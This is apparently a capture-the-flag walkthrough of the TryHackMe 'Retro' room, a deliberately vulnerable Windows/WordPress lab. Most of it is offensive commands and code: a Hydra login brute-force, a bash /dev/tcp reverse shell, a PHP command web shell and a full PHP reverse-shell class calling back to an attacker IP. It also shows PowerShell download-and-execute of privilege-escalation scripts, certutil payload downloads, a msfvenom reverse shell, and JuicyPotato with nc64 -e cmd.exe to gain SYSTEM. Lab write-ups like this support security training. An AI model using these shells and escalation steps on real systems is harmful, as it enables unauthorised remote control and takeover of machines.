Retro
Room Link: https://tryhackme.com/room/retro
Scanning
Kali
nmap -A $VICTIM

Scan all ports
port 5986 discovered. Potentially we can use this later for WinRM.
Kali
nmap -sV -sT -O -p 1-65535 $VICTIM

HTTP port 80
Kali
dirb http://$VICTIM:80 /usr/share/wordlists/dirb/big.txt
Kali
wpscan --url http://$VICTIM/retro

Kali
wpscan --url http://$VICTIM/retro --enumerate u

Burp
wpscan identified that XML-RPC was enabled but it wasn't very useful going forward.
POST /retro/xmlrpc.php HTTP/1.1
Host: 10.10.62.245
Content-Length: 91
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Hydra
I tried to bruteforce wades account but no luck. Looking back later the password was not in the below password list but it was in rockyou.txt but it would have taken awhile to find it.
hydra -l wade -P darkweb2017-top1000.txt $VICTIM/retro http-post-form "/retro/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fretro%2Fwp-admin%2F&testcookie=1:is incorrect." -V -t 30
wade added his password to one of the blog posts and from there I could login to wp-login.

Username: wade
Password: parzival

Reverse Shell
Reverse Shell Failed Attempt
revshell.php code
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$KALI/443 0>&1'");
?>
Kali
vi revshell.php
zip revshell.zip revshell.php
nc -lvnp 443

I realized my reverse shell wasn't working as it is a Windows box. I uploaded a web shell and ran commands to realize this.
PHP web shell
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>


PHP web shell #2
This shell was better as it gave me a reverse shell rather than just a web one.
<?php
// Copyright (c) 2020 Ivan `incek
// v2.5
// Requires PHP v5.0.0 or greater.
// Works on Linux OS, macOS, and Windows OS.
// See the original script at https://github.com/pentestmonkey/php-reverse-shell.
class Shell {
private $addr = null;
private $port = null;
private $os = null;
private $shell = null;
private $descriptorspec = array(
0 => array('pipe', 'r'), // shell can read from STDIN
1 => array('pipe', 'w'), // shell can write to STDOUT
2 => array('pipe', 'w') // shell can write to STDERR
);
private $buffer = 1024; // read/write buffer size
private $clen = 0; // command length
private $error = false; // stream read/write error
public function __construct($addr, $port) {
$this->addr = $addr;
$this->port = $port;
}
private function detect() {
$detected = true;
if (stripos(PHP_OS, 'LINUX') !== false) { // same for macOS
$this->os = 'LINUX';
$this->shell = '/bin/sh';
} else if (stripos(PHP_OS, 'WIN32') !== false || stripos(PHP_OS, 'WINNT') !== false || stripos(PHP_OS, 'WINDOWS') !== false) {
$this->os = 'WINDOWS';
$this->shell = 'cmd.exe';
} else {
$detected = false;
echo "SYS_ERROR: Underlying operating system is not supported, script will now exit...\n";
}
return $detected;
}
private function daemonize() {
$exit = false;
if (!function_exists('pcntl_fork')) {
echo "DAEMONIZE: pcntl_fork() does not exists, moving on...\n";
} else if (($pid = @pcntl_fork()) < 0) {
echo "DAEMONIZE: Cannot fork off the parent process, moving on...\n";
} else if ($pid > 0) {
$exit = true;
echo "DAEMONIZE: Child process forked off successfully, parent process will now exit...\n";
} else if (posix_setsid() < 0) {
// once daemonized you will actually no longer see the script's dump
echo "DAEMONIZE: Forked off the parent process but cannot set a new SID, moving on as an orphan...\n";
} else {
echo "DAEMONIZE: Completed successfully!\n";
}
return $exit;
}
private function settings() {
@error_reporting(0);
@set_time_limit(0); // do not impose the script execution time limit
@umask(0); // set the file/directory permissions - 666 for files and 777 for directories
}
private function dump($data) {
$data = str_replace('<', '<', $data);
$data = str_replace('>', '>', $data);
echo $data;
}
private function read($stream, $name, $buffer) {
if (($data = @fread($stream, $buffer)) === false) { // suppress an error when reading from a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot read from {$name}, script will now exit...\n";
}
return $data;
}
private function write($stream, $name, $data) {
if (($bytes = @fwrite($stream, $data)) === false) { // suppress an error when writing to a closed blocking stream
$this->error = true; // set global error flag
echo "STRM_ERROR: Cannot write to {$name}, script will now exit...\n";
}
return $bytes;
}
// read/write method for non-blocking streams
private function rw($input, $output, $iname, $oname) {
while (($data = $this->read($input, $iname, $this->buffer)) && $this->write($output, $oname, $data)) {
if ($this->os === 'WINDOWS' && $oname === 'STDIN') { $this->clen += strlen($data); } // calculate the command length
$this->dump($data); // script's dump
}
}
// read/write method for blocking streams (e.g. for STDOUT and STDERR on Windows OS)
// we must read the exact byte length from a stream and not a single byte more
private function brw($input, $output, $iname, $oname) {
$fstat = fstat($input);
$size = $fstat['size'];
if ($this->os === 'WINDOWS' && $iname === 'STDOUT' && $this->clen) {
// for some reason Windows OS pipes STDIN into STDOUT
// we do not like that
// we need to discard the data from the stream
while ($this->clen > 0 && ($bytes = $this->clen >= $this->buffer ? $this->buffer : $this->clen) && $this->read($input, $iname, $bytes)) {
$this->clen -= $bytes;
$size -= $bytes;
}
}
while ($size > 0 && ($bytes = $size >= $this->buffer ? $this->buffer : $size) && ($data = $this->read($input, $iname, $bytes)) && $this->write($output, $oname, $data)) {
$size -= $bytes;
$this->dump($data); // script's dump
}
}
public function run() {
if ($this->detect() && !$this->daemonize()) {
$this->settings();
// ----- SOCKET BEGIN -----
$socket = @fsockopen($this->addr, $this->port, $errno, $errstr, 30);
if (!$socket) {
echo "SOC_ERROR: {$errno}: {$errstr}\n";
} else {
stream_set_blocking($socket, false); // set the socket stream to non-blocking mode | returns 'true' on Windows OS
// ----- SHELL BEGIN -----
$process = @proc_open($this->shell, $this->descriptorspec, $pipes, null, null);
if (!$process) {
echo "PROC_ERROR: Cannot start the shell\n";
} else {
foreach ($pipes as $pipe) {
stream_set_blocking($pipe, false); // set the shell streams to non-blocking mode | returns 'false' on Windows OS
}
// ----- WORK BEGIN -----
$status = proc_get_status($process);
@fwrite($socket, "SOCKET: Shell has connected! PID: {$status['pid']}\n");
do {
$status = proc_get_status($process);
if (feof($socket)) { // check for end-of-file on SOCKET
echo "SOC_ERROR: Shell connection has been terminated\n"; break;
} else if (feof($pipes[1]) || !$status['running']) { // check for end-of-file on STDOUT or if process is still running
echo "PROC_ERROR: Shell process has been terminated\n"; break; // feof() does not work with blocking streams
} // use proc_get_status() instead
$streams = array(
'read' => array($socket, $pipes[1], $pipes[2]), // SOCKET | STDOUT | STDERR
'write' => null,
'except' => null
);
$num_changed_streams = @stream_select($streams['read'], $streams['write'], $streams['except'], 0); // wait for stream changes | will not wait on Windows OS
if ($num_changed_streams === false) {
echo "STRM_ERROR: stream_select() failed\n"; break;
} else if ($num_changed_streams > 0) {
if ($this->os === 'LINUX') {
if (in_array($socket , $streams['read'])) { $this->rw($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (in_array($pipes[2], $streams['read'])) { $this->rw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (in_array($pipes[1], $streams['read'])) { $this->rw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
} else if ($this->os === 'WINDOWS') {
// order is important
if (in_array($socket, $streams['read'])/*------*/) { $this->rw ($socket , $pipes[0], 'SOCKET', 'STDIN' ); } // read from SOCKET and write to STDIN
if (($fstat = fstat($pipes[2])) && $fstat['size']) { $this->brw($pipes[2], $socket , 'STDERR', 'SOCKET'); } // read from STDERR and write to SOCKET
if (($fstat = fstat($pipes[1])) && $fstat['size']) { $this->brw($pipes[1], $socket , 'STDOUT', 'SOCKET'); } // read from STDOUT and write to SOCKET
}
}
} while (!$this->error);
// ------ WORK END ------
foreach ($pipes as $pipe) {
fclose($pipe);
}
proc_close($process);
}
// ------ SHELL END ------
fclose($socket);
}
// ------ SOCKET END ------
}
}
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.167.13', 9000);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
Kali
rlwrap nc -lvnp 9000

Load Invoke-winPEAS.ps1 into memory.
Kali
wget https://gist.githubusercontent.com/S3cur3Th1sSh1t/d14c3a14517fd9fb7150f446312d93e0/raw/2318ef41f55e7e1a2172a2e67551201c24ee7681/Invoke-winPEAS.ps1
python2 -m SimpleHTTPServer 81
Add the following line at the bottom to PowerUp.ps1 so it Invokes all checks automatically once downloaded
Invoke-winPEAS.ps1
Invoke-AllChecks
Victim(powershell)
powershell -ep bypass
iex​(New-Object Net.WebClient).DownloadString('http://$KALI:81/Invoke-winPEAS.ps1')

Load PowerUp.ps1 into memory.
Kali
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
python2 -m SimpleHTTPServer 81
Add the following line at the bottom to PowerUp.ps1 so it Invokes all checks automatically once downloaded
PowerUp.ps1
Invoke-AllChecks
Victim(powershell)
powershell -ep bypass
iex​(New-Object Net.WebClient).DownloadString('http://$KALI:81/PowerUp.ps1')
Shell
After a lot of time wasted I realized there was no where to write files to and this account was a dead end. Then tried to RDP in as wade since we had a potential password for him.
Kali
xfreerdp +clipboard /u:"wade" /v:$VICTIM:3389 /size:1024x568 /smart-sizing:800x1200
Password: parzival

Load PowerUp.ps1 into memory.
Kali
wget https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1
python2 -m SimpleHTTPServer 81
Add the following line at the bottom to PowerUp.ps1 so it Invokes all checks automatically once downloaded
PowerUp.ps1
Invoke-AllChecks
Victim(powershell)
powershell -ep bypass
iex​(New-Object Net.WebClient).DownloadString('http://$KALI:81/PowerUp.ps1')
Kali
wget https://gist.githubusercontent.com/S3cur3Th1sSh1t/d14c3a14517fd9fb7150f446312d93e0/raw/2318ef41f55e7e1a2172a2e67551201c24ee7681/Invoke-winPEAS.ps1
python2 -m SimpleHTTPServer 81
Add the following line at the bottom to PowerUp.ps1 so it Invokes all checks automatically once downloaded
Invoke-winPEAS.ps1
Invoke-AllChecks
Victim(powershell)
powershell -ep bypass
iex​(New-Object Net.WebClient).DownloadString('http://$KALI:81/Invoke-winPEAS.ps1')
Privilege Escalation Option #1
For this I wouldn't normally know how to detect but when you open up chrome the exploit is already bookmarked.

Kali
Download https://packetstormsecurity.com/files/download/14437/hhupd.exe
python2 -m SimpleHTTPServer 81
Victim(cmd)
cd Downloads
certutil -urlcache -f http://10.10.162.126:81/hhupd.exe hhupd.exe





Navigate to C:\Windows\System32 and type in *.* to show all files.

Open the cmd prompt and it open as an Administrator account, but note if you already had Internet explorer open it won't work so make sure it is closed before starting


Privilege Escalation Option #2
Since the web user had more access than Wade but we couldn't write anywhere I made a folder that they could write to.
Kali
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.133.11 lport=1337 -f exe -o exploit.exe
python2 -m SimpleHTTPServer 81
Victim(cmd) - Wade
cd C:\
mkdir test
cd test
certutil -urlcache -f http://10.10.133.11:81/JuicyPotato.exe JuicyPotato.exe
certutil -urlcache -f http://10.10.133.11:81/exploit.exe exploit.exe
Kali
nc -lvnp 1337
Victim(cmd) - retro
JuicyPotato.exe -l 1337 -p exploit.exe -t * -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"

Privilege Escalation Option #3
This is still with Juicy Potato but just a slightly different way using nc64.exe instead of a reverse shell.
Kali
git clone https://github.com/int0x33/nc.exe.git
cd nc.exe/
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
python2 -m SimpleHTTPServer 81
Victim(cmd) - Wade
cd C:\
mkdir test
cd test
certutil -urlcache -f http://10.10.133.11:81/JuicyPotato.exe JuicyPotato.exe
certutil -urlcache -f http://10.10.133.11:81/nc64.exe nc64.exe
Kali
nc -lvnp 1337
Victim(cmd) - retro
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\test\nc64.exe -e cmd.exe 10.10.133.11 1337 " -t * -c "{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}"

Last updated